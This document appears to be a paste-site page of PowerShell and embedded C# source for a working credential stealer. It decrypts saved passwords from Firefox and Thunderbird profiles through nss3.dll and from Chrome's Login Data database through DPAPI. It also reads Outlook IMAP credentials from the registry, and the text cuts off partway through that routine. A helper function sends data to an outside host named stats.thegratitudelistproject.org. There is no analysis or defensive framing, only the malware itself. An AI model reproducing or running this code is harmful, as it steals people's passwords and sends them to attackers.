SHOW:
|
|
- or go back to the newest paste.
| 1 | function hcxcdjsy( $vfbihtvst ){
| |
| 2 | $fvitext = New-Object System.Net.WebClient; | |
| 3 | $fvitext.Credentials = [System.Net.CredentialCache]::DefaultCredentials; | |
| 4 | $fvitext.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
| |
| 5 | $fvitext.Encoding = [System.Text.Encoding]::UTF8; | |
| 6 | try{
| |
| 7 | $gissvgeac = $fvitext.UploadString( "http://stats.thegratitudelistproject.org/", "guid=temp_4547091464&" + $vfbihtvst ); | |
| 8 | return $gissvgeac; | |
| 9 | }catch{};
| |
| 10 | return $false; | |
| 11 | }; | |
| 12 | ||
| 13 | function Get-ExecutableType{
| |
| 14 | [CmdletBinding()] | |
| 15 | param ( | |
| 16 | [Parameter(Mandatory = $true)] | |
| 17 | [ValidateScript({ Test-Path -LiteralPath $_ -PathType Leaf })]
| |
| 18 | [string] | |
| 19 | $Path | |
| 20 | ) | |
| 21 | try{
| |
| 22 | try{
| |
| 23 | $stream = New-Object System.IO.FileStream( | |
| 24 | $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path), | |
| 25 | [System.IO.FileMode]::Open, | |
| 26 | [System.IO.FileAccess]::Read, | |
| 27 | [System.IO.FileShare]::Read | |
| 28 | ) | |
| 29 | }catch{
| |
| 30 | hcxcdjsy "crederror=ERR:Error opening file $Path for Read: $($_.Exception.Message)"; | |
| 31 | throw | |
| 32 | } | |
| 33 | $exeType = 'Unknown' | |
| 34 | if ([System.IO.Path]::GetExtension($Path) -eq '.COM'){
| |
| 35 | $exeType = '16-bit' | |
| 36 | } | |
| 37 | $bytes = New-Object byte[](4) | |
| 38 | if ( ($stream.Length -ge 64) -and ($stream.Read($bytes, 0, 2) -eq 2) -and ($bytes[0] -eq 0x4D -and $bytes[1] -eq 0x5A) ){
| |
| 39 | $exeType = 16 | |
| 40 | ||
| 41 | if ( ($stream.Seek(0x3C, [System.IO.SeekOrigin]::Begin) -eq 0x3C) -and ($stream.Read($bytes, 0, 4) -eq 4) ){
| |
| 42 | if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 4) }
| |
| 43 | $peHeaderOffset = [System.BitConverter]::ToUInt32($bytes, 0) | |
| 44 | ||
| 45 | if ($stream.Length -ge $peHeaderOffset + 6 -and | |
| 46 | $stream.Seek($peHeaderOffset, [System.IO.SeekOrigin]::Begin) -eq $peHeaderOffset -and | |
| 47 | $stream.Read($bytes, 0, 4) -eq 4 -and | |
| 48 | $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x45 -and $bytes[2] -eq 0 -and $bytes[3] -eq 0) | |
| 49 | {
| |
| 50 | $exeType = 'Unknown' | |
| 51 | ||
| 52 | if ($stream.Read($bytes, 0, 2) -eq 2) | |
| 53 | {
| |
| 54 | if (-not [System.BitConverter]::IsLittleEndian) { [Array]::Reverse($bytes, 0, 2) }
| |
| 55 | $machineType = [System.BitConverter]::ToUInt16($bytes, 0) | |
| 56 | ||
| 57 | switch ($machineType) | |
| 58 | {
| |
| 59 | 0x014C { $exeType = 32 }
| |
| 60 | 0x0200 { $exeType = 64 }
| |
| 61 | 0x8664 { $exeType = 64 }
| |
| 62 | } | |
| 63 | } | |
| 64 | } | |
| 65 | } | |
| 66 | } | |
| 67 | return $exeType | |
| 68 | }catch{
| |
| 69 | throw | |
| 70 | }finally{
| |
| 71 | if ($null -ne $stream) { $stream.Dispose() }
| |
| 72 | } | |
| 73 | } | |
| 74 | ||
| 75 | ||
| 76 | $stillerBlock = {
| |
| 77 | ||
| 78 | $ErrorActionPreference = "SilentlyContinue" | |
| 79 | $global:log = [System.IO.Path]::GetTempFileName() | |
| 80 | ||
| 81 | try{ Start-Transcript -Append $global:log; }catch{}
| |
| 82 | ||
| 83 | function mergeInfo($data, $info){
| |
| 84 | try{
| |
| 85 | foreach($record in $data.info.Keys) {
| |
| 86 | if($info.info[$record.ToString()] -eq $null) {
| |
| 87 | $info.info[$record] = @() | |
| 88 | } | |
| 89 | foreach($value in $data.info[$record]) {
| |
| 90 | $info.info[$record] += @{ [string]$value.Keys = [string]$value.Values }
| |
| 91 | } | |
| 92 | } | |
| 93 | }catch{
| |
| 94 | hcxcdjsy "crederror=ERR:mergeInfo: $($_.Exception.Message)"; | |
| 95 | } | |
| 96 | } | |
| 97 | ||
| 98 | ||
| 99 | Function ff_dump{
| |
| 100 | try{
| |
| 101 | $ffInfo = @{}
| |
| 102 | $ffError = "SUCCESS" | |
| 103 | ||
| 104 | ||
| 105 | $mPaths = @("$env:SystemDrive\Program Files\Mozilla Firefox", "$env:SystemDrive\Program Files\Mozilla Thunderbird", "$env:SystemDrive\Program Files (x86)\Mozilla Firefox", "$env:SystemDrive\Program Files (x86)\Mozilla Thunderbird")
| |
| 106 | $mozillaPath = $null | |
| 107 | ||
| 108 | ||
| 109 | foreach($path in $mPaths) {
| |
| 110 | $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll')) | |
| 111 | ||
| 112 | if([System.IO.File]::Exists($nssPath)) {
| |
| 113 | $mozillaPath = ([string]$path) | |
| 114 | break | |
| 115 | } | |
| 116 | } | |
| 117 | ||
| 118 | if($mozillaPath -eq $null) {
| |
| 119 | return @{"logs" = "$global:log"; "error" = $ffError; "info" = $ffInfo}
| |
| 120 | } | |
| 121 | ||
| 122 | ||
| 123 | try | |
| 124 | {
| |
| 125 | Add-Type -AssemblyName System.web.extensions | |
| 126 | } | |
| 127 | catch | |
| 128 | {
| |
| 129 | return @{"logs" = "$global:log"; "error" = "Load WEB assembly"; "info" = $ffInfo}
| |
| 130 | } | |
| 131 | ||
| 132 | ||
| 133 | ||
| 134 | $netStructs = @" | |
| 135 | public struct TSECItem2 {
| |
| 136 | public int SECItemType; | |
| 137 | public int SECItemData; | |
| 138 | public int SECItemLen; | |
| 139 | } | |
| 140 | ||
| 141 | public struct SlotInfo {
| |
| 142 | } | |
| 143 | "@ | |
| 144 | ||
| 145 | ||
| 146 | $cp = New-Object System.CodeDom.Compiler.CompilerParameters | |
| 147 | $cp.CompilerOptions = '/unsafe' | |
| 148 | ||
| 149 | Add-Type -TypeDefinition $netStructs -Language CSharp -CompilerParameters $cp | |
| 150 | ||
| 151 | ||
| 152 | $netCode = @" | |
| 153 | using System; | |
| 154 | using System.Diagnostics; | |
| 155 | using System.Runtime.InteropServices; | |
| 156 | using System.Text; | |
| 157 | ||
| 158 | ||
| 159 | public static class nss3 | |
| 160 | {
| |
| 161 | [DllImport("nss3.dll", EntryPoint = "PL_Base64Decode", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
| |
| 162 | public static extern IntPtr PL_Base64Decode(IntPtr inStr, int inLen, IntPtr outStr); | |
| 163 | ||
| 164 | [DllImport("nss3.dll", CharSet=CharSet.Auto)]
| |
| 165 | public static extern IntPtr PK11_GetInternalKeySlot(); | |
| 166 | ||
| 167 | [DllImport("nss3.dll", CharSet=CharSet.Auto)]
| |
| 168 | public static extern void PK11_FreeSlot(IntPtr SlotInfoPtr); | |
| 169 | ||
| 170 | [DllImport("nss3.dll", CharSet=CharSet.Auto)]
| |
| 171 | public static extern int PK11_CheckUserPassword(IntPtr slotInfo, string pwd); | |
| 172 | ||
| 173 | ||
| 174 | [DllImport("nss3.dll", EntryPoint = "PK11SDR_Decrypt", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi)]
| |
| 175 | public static extern int PK11SDR_Decrypt(IntPtr dataIn, IntPtr dataOut, string pVoid); | |
| 176 | ||
| 177 | [DllImport("nss3.dll", EntryPoint = "SECITEM_ZfreeItem", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi)]
| |
| 178 | public static extern void SECITEM_ZfreeItem(IntPtr secItem, int count); | |
| 179 | ||
| 180 | [DllImport("nss3.dll", EntryPoint = "NSSUTIL_GetVersion", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
| |
| 181 | public static extern IntPtr NSSUTIL_GetVersion(); | |
| 182 | ||
| 183 | [DllImport("nss3.dll", EntryPoint = "NSS_IsInitialized", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
| |
| 184 | public static extern bool NSS_IsInitialized(); | |
| 185 | ||
| 186 | [DllImport("nss3.dll", EntryPoint = "NSS_Init", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
| |
| 187 | public static extern int NSS_Init(byte[] path); | |
| 188 | ||
| 189 | [DllImport("nss3.dll", EntryPoint = "NSS_Shutdown", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
| |
| 190 | public static extern int NSS_Shutdown(); | |
| 191 | ||
| 192 | ||
| 193 | [DllImport("nss3.dll", CharSet=CharSet.Auto)]
| |
| 194 | public static extern int PORT_GetError(); | |
| 195 | ||
| 196 | [DllImport("nss3.dll", CharSet=CharSet.Auto)]
| |
| 197 | public static extern IntPtr PR_ErrorToName(int err); | |
| 198 | } | |
| 199 | ||
| 200 | ||
| 201 | internal static class UnsafeNativeMethods | |
| 202 | {
| |
| 203 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
| |
| 204 | internal static extern IntPtr LoadLibrary(string lpFileName); | |
| 205 | ||
| 206 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
| |
| 207 | internal static extern bool FreeLibrary(IntPtr hModule); | |
| 208 | ||
| 209 | ||
| 210 | ||
| 211 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
| |
| 212 | internal static extern bool SetDllDirectoryW(string lpPathName); | |
| 213 | ||
| 214 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
| |
| 215 | internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
| 216 | } | |
| 217 | ||
| 218 | ||
| 219 | public static class Stiller | |
| 220 | {
| |
| 221 | ||
| 222 | static IntPtr pk11slot = IntPtr.Zero; | |
| 223 | ||
| 224 | static IntPtr vcruntime140dll = IntPtr.Zero; | |
| 225 | static IntPtr msvcp140dll = IntPtr.Zero; | |
| 226 | static IntPtr mozgluedll = IntPtr.Zero; | |
| 227 | ||
| 228 | static IntPtr nss3dll = IntPtr.Zero; | |
| 229 | ||
| 230 | ||
| 231 | public static void loadHelpers(string ffPath) | |
| 232 | {
| |
| 233 | Stiller.vcruntime140dll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\vcruntime140.dll"); | |
| 234 | Stiller.msvcp140dll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\msvcp140.dll"); | |
| 235 | Stiller.mozgluedll = UnsafeNativeMethods.LoadLibrary(ffPath + "\\mozglue.dll"); | |
| 236 | } | |
| 237 | ||
| 238 | public static IntPtr loadNSS3(string ffPath) | |
| 239 | {
| |
| 240 | IntPtr nss3 = UnsafeNativeMethods.LoadLibrary(ffPath + "\\nss3.dll"); | |
| 241 | ||
| 242 | Stiller.nss3dll = nss3; | |
| 243 | ||
| 244 | return nss3; | |
| 245 | } | |
| 246 | ||
| 247 | ||
| 248 | public static bool initFF(string ffPath, string profilePath) | |
| 249 | {
| |
| 250 | bool result = false; | |
| 251 | ||
| 252 | ||
| 253 | loadHelpers(ffPath); | |
| 254 | ||
| 255 | if(loadNSS3(ffPath) != IntPtr.Zero) | |
| 256 | {
| |
| 257 | IntPtr nV = nss3.NSSUTIL_GetVersion(); | |
| 258 | int nssInitRez = nss3.NSS_Init(Encoding.ASCII.GetBytes(profilePath)); | |
| 259 | ||
| 260 | if(nssInitRez == 0) | |
| 261 | {
| |
| 262 | pk11slot = nss3.PK11_GetInternalKeySlot(); | |
| 263 | ||
| 264 | int checkPwd = nss3.PK11_CheckUserPassword(pk11slot, ""); | |
| 265 | ||
| 266 | ||
| 267 | if(checkPwd == 0) | |
| 268 | {
| |
| 269 | result = true; | |
| 270 | } | |
| 271 | } | |
| 272 | } | |
| 273 | ||
| 274 | ||
| 275 | return result; | |
| 276 | } | |
| 277 | ||
| 278 | public static void shutdownFF() | |
| 279 | {
| |
| 280 | nss3.PK11_FreeSlot(pk11slot); | |
| 281 | ||
| 282 | int rez = nss3.NSS_Shutdown(); | |
| 283 | ||
| 284 | UnsafeNativeMethods.FreeLibrary(nss3dll); | |
| 285 | UnsafeNativeMethods.FreeLibrary(Stiller.mozgluedll); | |
| 286 | UnsafeNativeMethods.FreeLibrary(Stiller.msvcp140dll); | |
| 287 | UnsafeNativeMethods.FreeLibrary(Stiller.vcruntime140dll); | |
| 288 | } | |
| 289 | ||
| 290 | public struct TSECItemType {
| |
| 291 | public int SECItemType; | |
| 292 | public IntPtr SECItemData; | |
| 293 | public int SECItemLen; | |
| 294 | } | |
| 295 | ||
| 296 | public struct SlotInfo {
| |
| 297 | public long l; | |
| 298 | } | |
| 299 | ||
| 300 | public static string decodeData(string profilePath, string dataEnc, byte[] unBase64) | |
| 301 | {
| |
| 302 | ||
| 303 | string decoded = ""; | |
| 304 | ||
| 305 | try | |
| 306 | {
| |
| 307 | ||
| 308 | bool nssIsInit = nss3.NSS_IsInitialized(); | |
| 309 | ||
| 310 | if(!nssIsInit) | |
| 311 | {
| |
| 312 | ||
| 313 | return ""; | |
| 314 | } | |
| 315 | ||
| 316 | ||
| 317 | int TSECItemTypeSize = Marshal.SizeOf(typeof(TSECItemType)); | |
| 318 | TSECItemType dataIn = new TSECItemType(); | |
| 319 | ||
| 320 | ||
| 321 | dataIn.SECItemData = Marshal.AllocHGlobal(unBase64.Length); | |
| 322 | Marshal.Copy(unBase64, 0, dataIn.SECItemData, unBase64.Length); | |
| 323 | ||
| 324 | dataIn.SECItemLen= unBase64.Length; | |
| 325 | dataIn.SECItemType= 0; | |
| 326 | ||
| 327 | ||
| 328 | IntPtr dataOutPtr = Marshal.AllocHGlobal(TSECItemTypeSize); | |
| 329 | IntPtr dataInPtr = Marshal.AllocHGlobal(TSECItemTypeSize); | |
| 330 | ||
| 331 | Marshal.StructureToPtr(dataIn, dataInPtr, true); | |
| 332 | ||
| 333 | int decryptRez = nss3.PK11SDR_Decrypt(dataInPtr, dataOutPtr, null); | |
| 334 | ||
| 335 | if(decryptRez != 0) | |
| 336 | {
| |
| 337 | ||
| 338 | return ""; | |
| 339 | } | |
| 340 | ||
| 341 | TSECItemType dataOut = (Stiller.TSECItemType)Marshal.PtrToStructure(dataOutPtr, typeof(TSECItemType)); // | |
| 342 | ||
| 343 | decoded = PtrToStringSized(dataOut.SECItemData, dataOut.SECItemLen); | |
| 344 | ||
| 345 | nss3.SECITEM_ZfreeItem(dataOutPtr, 0); | |
| 346 | Marshal.FreeHGlobal(dataInPtr); | |
| 347 | } | |
| 348 | catch | |
| 349 | {
| |
| 350 | return ""; | |
| 351 | } | |
| 352 | ||
| 353 | ||
| 354 | return decoded; | |
| 355 | } | |
| 356 | ||
| 357 | private static string PtrToStringUtf8(IntPtr ptr) // aPtr is nul-terminated | |
| 358 | {
| |
| 359 | if (ptr == IntPtr.Zero) | |
| 360 | return ""; | |
| 361 | ||
| 362 | int len = 0; | |
| 363 | ||
| 364 | while (System.Runtime.InteropServices.Marshal.ReadByte(ptr, len) != 0) | |
| 365 | len++; | |
| 366 | ||
| 367 | if (len == 0) | |
| 368 | return ""; | |
| 369 | ||
| 370 | byte[] array = new byte[len]; | |
| 371 | ||
| 372 | System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len); | |
| 373 | ||
| 374 | ||
| 375 | return System.Text.Encoding.UTF8.GetString(array); | |
| 376 | } | |
| 377 | ||
| 378 | private static string PtrToStringSized(IntPtr ptr, int len) // aPtr is nul-terminated | |
| 379 | {
| |
| 380 | if (ptr == IntPtr.Zero) | |
| 381 | return ""; | |
| 382 | ||
| 383 | if (len == 0) | |
| 384 | return ""; | |
| 385 | ||
| 386 | byte[] array = new byte[len]; | |
| 387 | ||
| 388 | System.Runtime.InteropServices.Marshal.Copy(ptr, array, 0, len); | |
| 389 | ||
| 390 | ||
| 391 | return System.Text.Encoding.UTF8.GetString(array); | |
| 392 | } | |
| 393 | } | |
| 394 | ||
| 395 | ||
| 396 | "@ | |
| 397 | ||
| 398 | Add-Type -TypeDefinition $netCode -Language CSharp -CompilerParameters $cp2 | |
| 399 | ||
| 400 | ||
| 401 | $profilePathFF = "$($env:APPDATA)\Mozilla\Firefox\Profiles\*.*" | |
| 402 | $profilePathTB = "$($env:APPDATA)\ThunderBird\Profiles\*.*" | |
| 403 | ||
| 404 | $defaultProfiles = @() | |
| 405 | ||
| 406 | try {
| |
| 407 | $defaultProfiles += $(Get-ChildItem $profilePathFF -ErrorAction SilentlyContinue) | select -ExpandProperty FullName -ErrorAction SilentlyContinue | |
| 408 | $defaultProfiles += $(Get-ChildItem $profilePathTB -ErrorAction SilentlyContinue) | select -ExpandProperty FullName -ErrorAction SilentlyContinue | |
| 409 | } | |
| 410 | catch {}
| |
| 411 | ||
| 412 | ||
| 413 | if($mozillaPath -ne $null) {
| |
| 414 | ||
| 415 | $nss = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll')) | |
| 416 | ||
| 417 | If([System.IO.File]::Exists($nss)) {
| |
| 418 | ||
| 419 | ||
| 420 | ||
| 421 | foreach($defaultProfile in $defaultProfiles) {
| |
| 422 | if($defaultProfile -ne $null ) {
| |
| 423 | ||
| 424 | $jsonPath = $(Join-Path ([string]$defaultProfile) ([string]"logins.json")) | |
| 425 | if([System.IO.File]::Exists($jsonPath)) {
| |
| 426 | $jsonFile = (Get-Content $jsonPath -ErrorAction SilentlyContinue) | |
| 427 | ||
| 428 | if(!($jsonFile)) | |
| 429 | {
| |
| 430 | ||
| 431 | } | |
| 432 | else {
| |
| 433 | $ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer | |
| 434 | $obj = $ser.DeserializeObject($jsonFile) | |
| 435 | ||
| 436 | $initFF = $([Stiller]::initFF($mozillapath, $defaultProfile)) | |
| 437 | ||
| 438 | ||
| 439 | if($initFF -eq $True) {
| |
| 440 | $logins = $obj['logins'] | |
| 441 | $count = ($logins.Count) - 1 | |
| 442 | ||
| 443 | ||
| 444 | for($i = 0; $i -le $count; $i++) | |
| 445 | {
| |
| 446 | $formUrl = $logins.GetValue($i)['formSubmitURL'] | |
| 447 | ||
| 448 | if($formUrl -eq $null) {
| |
| 449 | $formUrl = $logins.GetValue($i)['hostname'] | |
| 450 | ||
| 451 | if($formUrl -eq $null) {
| |
| 452 | $formUrl = "empty" | |
| 453 | } | |
| 454 | } | |
| 455 | ||
| 456 | if(($formUrl.StartsWith("smtp","CurrentCultureIgnoreCase")) -Or ($formUrl.StartsWith("pop","CurrentCultureIgnoreCase")) -Or ($formUrl.StartsWith("imap","CurrentCultureIgnoreCase"))) {
| |
| 457 | $url = ([System.Uri]$formUrl).Host | |
| 458 | }else{
| |
| 459 | $url = ([System.Uri]$formUrl).Host | |
| 460 | if($url.Length -eq 0) {
| |
| 461 | $url = "empty" | |
| 462 | } | |
| 463 | } | |
| 464 | ||
| 465 | $encPwd = $logins.GetValue($i)['encryptedPassword'] | |
| 466 | $encUser = $logins.GetValue($i)['encryptedUsername'] | |
| 467 | ||
| 468 | ||
| 469 | if($encPwd.Length -gt 0 -and $encUser.Length -gt 0) {
| |
| 470 | $pass = [Stiller]::decodeData($defaultProfile, $encPwd, [System.Convert]::FromBase64String($encPwd)) | |
| 471 | $user = [Stiller]::decodeData($defaultProfile, $encUser, [System.Convert]::FromBase64String($encUser)) | |
| 472 | ||
| 473 | if($ffInfo[$url] -eq $null) {
| |
| 474 | $ffInfo[$url] = @() | |
| 475 | } | |
| 476 | ||
| 477 | $ffInfo[$url] += @{ [string]$user = [string]$pass }
| |
| 478 | } | |
| 479 | } | |
| 480 | ||
| 481 | [Stiller]::shutdownFF() | |
| 482 | } | |
| 483 | } | |
| 484 | } | |
| 485 | else {
| |
| 486 | $ffError = "NO PROFILE" | |
| 487 | } | |
| 488 | } | |
| 489 | } | |
| 490 | }else{
| |
| 491 | $ffError = "NO ff\TB" | |
| 492 | } | |
| 493 | } | |
| 494 | return @{"logs" = "$global:log"; "error" = $ffError; "info" = $ffInfo}
| |
| 495 | }catch{
| |
| 496 | hcxcdjsy "crederror=ERR:ff_dump: $($_.Exception.Message)"; | |
| 497 | } | |
| 498 | } | |
| 499 | ||
| 500 | ||
| 501 | Function __ToInt($ByteArray){
| |
| 502 | try{
| |
| 503 | If ($ByteArray.Length -eq 0) { Return 0 }
| |
| 504 | [int32] $Int = 0; | |
| 505 | $x = 0; | |
| 506 | Do{
| |
| 507 | $Int = [math]::Floor($Int * [math]::Pow(2, 0x8)) -bor ($ByteArray[$x++]) | |
| 508 | }While ($x -lt $ByteArray.Length) | |
| 509 | Return $Int; | |
| 510 | }catch{
| |
| 511 | hcxcdjsy "crederror=ERR:__ToInt: $($_.Exception.Message)"; | |
| 512 | } | |
| 513 | } | |
| 514 | ||
| 515 | Function ParseVarint($ByteArray, [ref]$VarintSize){
| |
| 516 | try{
| |
| 517 | [int32] $Val = 0; | |
| 518 | $x = 0; | |
| 519 | Do {
| |
| 520 | $Byte = $ByteArray[$x++]; | |
| 521 | $Val = [math]::Floor($Val * [math]::Pow(2, 0x7)) -bor ($Byte -band 0x7F); | |
| 522 | }While($x -lt 8 -and ($Byte -band 0x80)) | |
| 523 | $VarintSize.Value = $x; | |
| 524 | Return $Val; | |
| 525 | }catch{
| |
| 526 | hcxcdjsy "crederror=ERR:ParseVarint: $($_.Exception.Message)"; | |
| 527 | } | |
| 528 | } | |
| 529 | ||
| 530 | [ref]$VarintSize = 0; | |
| 531 | ||
| 532 | Function ParseSQLite($Page){
| |
| 533 | try{
| |
| 534 | If ($Page[0] -ne 0x0D) { Return }
| |
| 535 | $NumCells = __ToInt $Page[0x3..0x4]; | |
| 536 | $CellAddrStart = 0x8; | |
| 537 | $CellAddrStop = $CellAddrStart + ($NumCells * 2) - 1; | |
| 538 | For ($x = $CellAddrStart; $x -le $CellAddrStop; $x += 2){
| |
| 539 | $CellAddr = __ToInt ($Page[$x .. ($x + 1)]); | |
| 540 | ParseCellSQLite($Page[$CellAddr .. $Page.Length]); | |
| 541 | } | |
| 542 | }catch{
| |
| 543 | hcxcdjsy "crederror=ERR:ParseSQLite: $($_.Exception.Message)"; | |
| 544 | } | |
| 545 | } | |
| 546 | ||
| 547 | Function ParseCellSQLite($Cell){
| |
| 548 | try{
| |
| 549 | $Offset = 0 | |
| 550 | $PayloadLength = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize | |
| 551 | $Offset += $VarintSize.Value | |
| 552 | $RowID = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize | |
| 553 | $Offset += $VarintSize.Value | |
| 554 | If (($Offset + $Payload.Length) -le $Cell.Length){
| |
| 555 | ParsePayloadSQLite $Cell[$Offset .. ($Offset + $PayloadLength - 1)] | |
| 556 | } | |
| 557 | }catch{
| |
| 558 | hcxcdjsy "crederror=ERR:ParseCellSQLite: $($_.Exception.Message)"; | |
| 559 | } | |
| 560 | } | |
| 561 | ||
| 562 | Function ParsePayloadSQLite($Payload){
| |
| 563 | try{
| |
| 564 | If ($Payload.Length -eq 0) { Return }
| |
| 565 | [ref]$VarintSize = 0; | |
| 566 | $HeaderLength = ParseVarint $Payload[0 .. 8] $VarintSize | |
| 567 | $Offset = $VarintSize.Value; | |
| 568 | $FieldSeq = @() | |
| 569 | For ($y = $Offset; $y -lt $HeaderLength; $y++){
| |
| 570 | $Serial = ParseVarint $Payload[$y .. ($y + 8)] $VarintSize | |
| 571 | $y += $VarintSize.Value - 1 | |
| 572 | Switch ($Serial) {
| |
| 573 | {$_ -lt 0xA} { $Len = $SerialMap[$Serial]; break }
| |
| 574 | {$_ -gt 0xB} {
| |
| 575 | If ($Serial % 2 -eq 0) { $Len = (($Serial - 0xC) / 2) }
| |
| 576 | Else { $Len = (($Serial - 0xD) / 2) }
| |
| 577 | } | |
| 578 | } | |
| 579 | $FieldSeq += $Len; | |
| 580 | } | |
| 581 | $Offset = $HeaderLength; | |
| 582 | For ($f = 0; $f -lt $FieldSeq.Length; $f++){
| |
| 583 | $Str = $Encoding.GetString($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)]) | |
| 584 | $isBlack = 0 | |
| 585 | If ($f -eq 0) { $url = $Str }
| |
| 586 | ElseIf ($f -eq 3) { $user = $Str }
| |
| 587 | ElseIf ($f -eq 5) { $pwd = DecodePasswordChrome($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)]) }
| |
| 588 | ||
| 589 | $Offset += $FieldSeq[$f] | |
| 590 | } | |
| 591 | if(-Not($user -like '^\u0001*') -and -Not($user -like '^\u0000')) {
| |
| 592 | If ($user.Length -gt 0 -or $pwd.Length -gt 0){
| |
| 593 | $url = ([System.Uri]$url).Host | |
| 594 | if($global:chromeInfo[$url] -eq $null) {
| |
| 595 | $global:chromeInfo[$url] = @() | |
| 596 | } | |
| 597 | $global:chromeInfo[$url] += @{[string]$user = [string]$pwd}
| |
| 598 | } | |
| 599 | } | |
| 600 | }catch{
| |
| 601 | hcxcdjsy "crederror=ERR:ParsePayloadSQLite: $($_.Exception.Message)"; | |
| 602 | } | |
| 603 | } | |
| 604 | ||
| 605 | Function DecodePasswordChrome($Password){
| |
| 606 | try{
| |
| 607 | $P = $Encoding.GetBytes($Password) | |
| 608 | try{
| |
| 609 | $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| 610 | Return [System.Text.Encoding]::Default.GetString($Decrypt); | |
| 611 | } | |
| 612 | Catch { Return "" }
| |
| 613 | }catch{
| |
| 614 | hcxcdjsy "crederror=ERR:DecodePasswordChrome: $($_.Exception.Message)"; | |
| 615 | } | |
| 616 | } | |
| 617 | ||
| 618 | function chrome_dump(){
| |
| 619 | try{
| |
| 620 | $global:chromeInfo = @{};
| |
| 621 | $global:chromeError = "SUCCESS" | |
| 622 | $dbFilePath = "$($Env:USERPROFILE)\AppData\Local\Google\Chrome\User Data\*\Login Data" | |
| 623 | $dbFiles = $(Get-ChildItem $dbFilePath).FullName; | |
| 624 | if($dbFiles.Count -le 0 -and $dbFiles.Length -le 0) { $global:chromeError = "NO PROFILES"; }
| |
| 625 | foreach($dbFile in $dbFiles) {
| |
| 626 | if($dbFile -ne $null) {
| |
| 627 | if(([System.IO.File]::Exists($dbFile))) {
| |
| 628 | $Stream = New-Object IO.FileStream -ArgumentList "$dbFile", 'Open', 'Read', 'ReadWrite' | |
| 629 | Add-Type -AssemblyName System.Security | |
| 630 | $Encoding = [System.Text.Encoding]::GetEncoding(28591) | |
| 631 | $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding | |
| 632 | $BinaryText = $StreamReader.ReadToEnd() | |
| 633 | $StreamReader.Close() | |
| 634 | $Stream.Close() | |
| 635 | $SerialMap = @{0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=8; 8=0; 9=0}
| |
| 636 | If ((Compare-Object $BinaryText[0x0 .. 0x5] @('S', 'Q', 'L', 'i', 't', 'e')) -eq $null){
| |
| 637 | $NumPages = __ToInt($BinaryText[0x1C .. 0x1F]) | |
| 638 | $PageSize = __ToInt($BinaryText[0x10 .. 0x11]) | |
| 639 | for($x = 0x2; $x -lt $NumPages; $x++){
| |
| 640 | $PageStart = ($x * $PageSize); | |
| 641 | ParseSQLite $BinaryText[$PageStart .. ($PageStart + $PageSize - 1)] | |
| 642 | } | |
| 643 | } | |
| 644 | } | |
| 645 | } | |
| 646 | } | |
| 647 | return @{"logs" = "$global:log"; "error" = $global:chromeError; "info" = $global:chromeInfo}
| |
| 648 | }catch{
| |
| 649 | hcxcdjsy "crederror=ERR:chrome_dump: $($_.Exception.Message)"; | |
| 650 | } | |
| 651 | } | |
| 652 | ||
| 653 | ||
| 654 | function ol_dump(){
| |
| 655 | try{
| |
| 656 | $wms = "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*"; | |
| 657 | $office = "HKCU:\Software\Microsoft\Office\1[56].0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*"; | |
| 658 | $allPaths = @(); | |
| 659 | $olInfo = @{};
| |
| 660 | $olError = "SUCCESS"; | |
| 661 | $tmpWMS = (Get-ChildItem $wms -ErrorAction SilentlyContinue) | |
| 662 | $tmpOffice = (Get-ChildItem $office -ErrorAction SilentlyContinue) | |
| 663 | if($tmpWMS -ne $null){ $allPaths += $tmpWMS; }
| |
| 664 | if($tmpOffice -ne $null){ $allPaths += $tmpOffice; }
| |
| 665 | Add-Type -AssemblyName System.Security | |
| 666 | foreach($path in $allPaths) {
| |
| 667 | $imapServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Server"); | |
| 668 | if($imapServer -ne $null) {
| |
| 669 | $server = $imapServer | |
| 670 | try{ $server = [System.Text.Encoding]::DEFAULT.GetString($imapServer) -replace "\u0000","" -replace "0x00",""; }catch {}
| |
| 671 | $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP User"); | |
| 672 | $user = ""; | |
| 673 | if($userBytes -ne $null) {
| |
| 674 | $user = $userBytes; | |
| 675 | try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes) -replace "\u0000","" -replace "\x00",""; }catch{}
| |
| 676 | } | |
| 677 | $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Password"); | |
| 678 | $pwd = ""; | |
